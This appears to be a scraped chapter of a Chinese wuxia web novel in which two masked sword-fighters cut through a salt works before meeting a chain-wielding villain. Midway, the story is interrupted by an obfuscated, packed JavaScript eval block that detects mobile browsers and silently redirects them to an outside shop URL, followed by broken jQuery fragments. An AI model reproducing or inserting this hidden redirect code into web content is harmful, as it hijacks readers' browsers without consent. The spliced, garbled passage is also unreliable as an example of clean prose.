盐坊的中央灯火通明。


    在暗夜当中，倏忽而起的亮光并不是一件好事。光与暗的极致对比，不仅会招致更多豺狼的窥伺，还容易让自己陷入不利之地。


    荒木涯的左臂衣袍划出一道裂痕，血色洇染了那片玄黑的衣袖，渗出一种沉甸甸的、恶鬼将要拖人下地狱时的痛感。


    面具下的人脸畅快地深吸了口气，看在伤口上的眼是含着笑的。


    周围的人握着刀柄，肃穆而忌惮地看着他。


    萧诀到时，刚好见到了这一幕影影幢幢的对峙。


    青煞改头换面去参加武道大会，当然就换下了自己曾经不离手的荆棘剑。现下手上这把剑，是参赛之前在路边铺子临时买的，二两银子，迟钝不堪。


    荒木涯的剑挑起来，震开两道趁乱劈砍的刀，剑锋翻转，每次向前都带起一连串的血珠。


    他是个不忌惮于以伤换杀的疯子，空门大开、毫不阻拦，锈剑每次挥舞，赌得是能在自己受伤之前先抹去敌人的性命。有时赌赢了，有时赌输了，可剑既然出鞘，总能比层层刀锋更快一霎。


    于是刀光剑影，血染陈塘。


    盐矿的人很多，可荒木涯周围的位置就那么点，何况他越打越凶，持剑的手从不为身上流血的伤痕而有所颤动，人群开始退避，只在身侧围出一个大致的圈。


    “怕死的人握什么刀剑？”在里面的人倨傲地抬着头，眼睛凶狠地搜寻着下一次出剑的目标。


    大小头目在外围纷纷扰扰地嚷，火光晃动，有机灵的人直接翻墙往高处站，从背上解下一把沉沉的弓。


    他们也并不是什么神射手，可剑客毕竟在地上走，又有众人围剿，独木难支，一发乱箭下去，非死即残。


    至于围上去的同伴，建功后也只是三言两语就可以打发的彩头。


    站在上面的人舔了舔唇，兴奋地将箭矢对准层层火把包围的地方，这个距离不一定能中，可只要干扰一瞬，自然有别的人乱刀挤入。


    “嗖、啪”


    箭矢没有离弦，一把银白色映着月光的剑轻易地砍断了他一双手臂，剑锋回旋，在喷溅的鲜血和即将脱口而出的嘶吼中，亡者朦胧地看到一颗头颅坠入森森庭院。


    萧诀取代了他的位置站在那里，她没有面具，拂云剑上流着血。月衬银辉，衣袍猎猎，年轻的剑客垂眸看向人间，她说：“你好弱。”


    荒木涯笑了。


    他们曾经做青红双煞的时候，虽然也受伤，但荒木涯极少陷入这样狼狈的境地。


    武道之争，胜在锐气。人数当然重要，可如果围攻的人内力稀疏平常，又不似万人成军的阵势，那来再多人，也不过是臭鱼烂虾。


    所以萧诀很不理解荒木涯，为什么在这样的对手面前都能走得如此缓慢。


    他的剑又错开一把长刀，剑锋擦过一个人的咽喉，刃上流出血来，持剑的人满不在乎地甩了甩。他向上举了举左臂，面具下的声音是平淡的，可萧诀知道他在笑。


    他说：“中了毒。”


    骗人，青煞时常中毒，时常受伤，可从未如此步伐缓慢。


    有些反应过来的人扑身过来，想要将高墙上的人拉下战场，萧诀脚尖轻点，踢开几柄胡乱挥舞的兵器，成为这烈火烹油的带血庭院中的新一个油点。


    拂云剑出剑更快，刺向她咽喉的，自己的咽喉先渗出血，刺向她臂膀的，自己的袖袍先沾上伤。风过刀光，也经过火，萧诀剑光一挑，将某个明亮的火把丢到了院落一隅。


    火光熊熊，有人变了脸色，厉声呼喊着救火。


    萧诀转身来大致看了群周围大呼小叫的管事，神色惊惶的、咬牙切齿的，但对上她的视线都会仓促地往后退。这样的人很难支撑起一座吃人的盐矿，何况他们周围的防护都很零散，看起来大约只是盐坊中的普通头目。


    执掌这里的人在哪里呢？跳进扬州漩涡中搅弄风云的人又在哪里呢？


    她站在那儿，平静地等待荒木涯撕开包围，踩着汹汹鲜血走过来。


    “你没带面具，”他侧过头来和她说，“暴露了怎么办？”


    萧诀洒然地笑了一笑，“杀光不就没人能泄露了？”


    语气很冷，内容很血腥，并不像从前那个温良正义的剑客会说的话。其实她也只是这样说，杀人是需要分寸的，何况今天这里的事这样乱，要通缉也不过是走扬州刺史明文通缉的路子。


    可薛东丞泥菩萨过江自身难保，今夜过后只恐天翻地覆，又何来泄露与通缉一说？


    但荒木涯却只是笑。


    他的心在久违的杀戮中复苏过来，胸腔如擂鼓，宣泄着主人兴奋的、戏谑的精神。他几乎要杀红了眼，偶尔停顿也只是痴迷地看着臂膀上一层层覆盖的血迹，萧诀这样说，这个人的脑子便也只能体会到兴味盎然。


    身边的人轻轻啧了一声。


    她的手拎住他的领子，荒木涯回头来看她，听到萧诀冷淡的声音：“克制点儿。”


    已经很克制了，他心里想，但是领口被提，咽喉就卡着一块小小的布料，生出些被掌控的不适来。布料是柔软的，但荒木涯转瞬想到了他们来时那条月明星稀的竹林小径。


    萧诀在那里用折扇压在他的咽喉处，玄铁凛凛寒光映得月如流水，遍地霜华，他的思绪在这两种情景中急速轮转，浑浑噩噩中居然感到有几分快意。


    “当然，”荒木涯这样应道。


    他们又开始合作，两把剑一样快、一样准、一样狠厉，银色的月辉挑走沉重的刀，沐血的锈剑就在暗中穿行，穿针引线、开膛破肚。


    萧诀走得那样平淡，衣摆溅上淋淋的血。


    周围人感到不寒而栗，于是渐渐退开一个颤栗的距离，他们还在走，但这条路永无尽头。


    “恶人谷就在附近。”她说。


    荒木涯赞叹地哇了一声，锈剑上的血已经沉重到无法甩动了，他苦恼地将它撑在地上，低声说：“真可惜。”


    对于一个嗜血但又囿于规则的人来说，恶人谷几乎是全天下最美味的佳肴了。这里的每一个人都可以肆无忌惮地杀害，每一次出剑都能换来有效的回报，无论是疼痛还是鲜血，无论是自己的还是敌人的。


    他全身的血液都在为这消息而欢欣沸腾了，只可惜今夜他只带了这样一把锈迹斑斑的剑。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975533|192787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    萧诀的眼睛依旧沉静地注视着他。


    他们此刻还没有走出盐坊的范围，但之前那虾兵蟹将似的包围圈已经松散了，火光被他们甩在身后，前方是一段暗沉如渊的路。


    没有光，也没有风，树叶沉沉地笼罩下来，无边暗影堵在前路。


    萧诀不用看也知道那里才是真正的步履维艰。


    “荒木涯，别死在那儿。”她看着脚下的分叉口，拂云剑所承载的月白色银鱼似乎已经选定了一条方向。


    在萧诀走进这段暗影之前，荒木涯笑起来问她，“如果我活着的话，能不能陪我去看短集啊。”


    “你说不去庙会，我记得的。”


    很擅长把握时机，萧诀没回头，但是嘴角勾了笑，她漫不经心地道：“真遗憾，那你更应该记得我不和浑身谎言的人交心。”


    身后的人小发雷霆地踢了下柱在地上的锈剑，在血水咬上裤管之前，他急匆匆收回腿，强装冷淡地说：“哦。”


    阴影吞没了银剑与凉月的光芒，那个人走得衣袂飘飘，身姿如松、剑心如铁，世事不可挪移。


    荒木涯不知道她是否听到了自己最后这句强行挽尊的话，但在持剑进去之前，他又一次侧眸看向对方选择的方向。


    早知道多说几句好的了，她会稍微侧眸倪我一眼吗？荒木涯咂了咂嘴，提起剑走向另一道阴影。


    哎，人心为何如此柔软。


    ……


    星月无光，鬼影重重，拂云剑走得漫不经心，剑锋上挑，便从黯淡的区域打回一条呼啸的铁链。


    “刷拉、刷拉”。


    一个脸色阴沉的中年人从阴影中走出几步，他身形高大，躯干臂膀如同某种充气膨胀的物体，肌肉虬结，铁链穿身缠绕，像是毒蛇与它腹中绞杀的食物。


    “上天梯”刘铎，善用钩锁，曾为前朝囚犯。


    此人野心勃勃，无恶不作，战乱中曾逃出并落草为寇，一度呼风唤雨、独霸一方。后来天下形势风云变幻，周天子有统一之势，刘铎便使一招金蝉脱壳，独自来到江南。


    他在恶人谷中，素来以疯狗闻名。与明如昼沉心刀道不同，刘铎用铁索，只是因为极其喜欢人死之前的惨象。


    铁索穿头则红白满地，穿骨可拖行吊缚、流血而亡，穿心掏目、开膛破肚，更是轻而易举。几十年来，死在这双黑沉铁索上的人不计其数。


    “运气真好，”刘铎沙哑地笑，“居然是我最喜欢的名门正派。”


    “剑阁，是吗？”铁索在手腕颤动，像是毒蛇昂首吐息，兴奋不已，“蜀地太远了，我还没杀过那里的人呢。”


    “你名声还很好，是不是？我听说过你，这样的人血是最甜的。”刘铎诡谲地笑着，暗沉沉的双眼中迸出贪婪的光。


    “真好……”他喃喃自语，双臂一展，自颈后穿行而过的铁链两端同时绷出一道轰雷般的炸响。


    可是在他说更多话之前，拂云剑的剑尖抬起，月色因此穿透障叶，折出一道凛凛的光。


    衣摆上沾了血的人冷淡而无趣地道：“留点垃圾话死了再说。”


    “躲躲藏藏的——废、物。”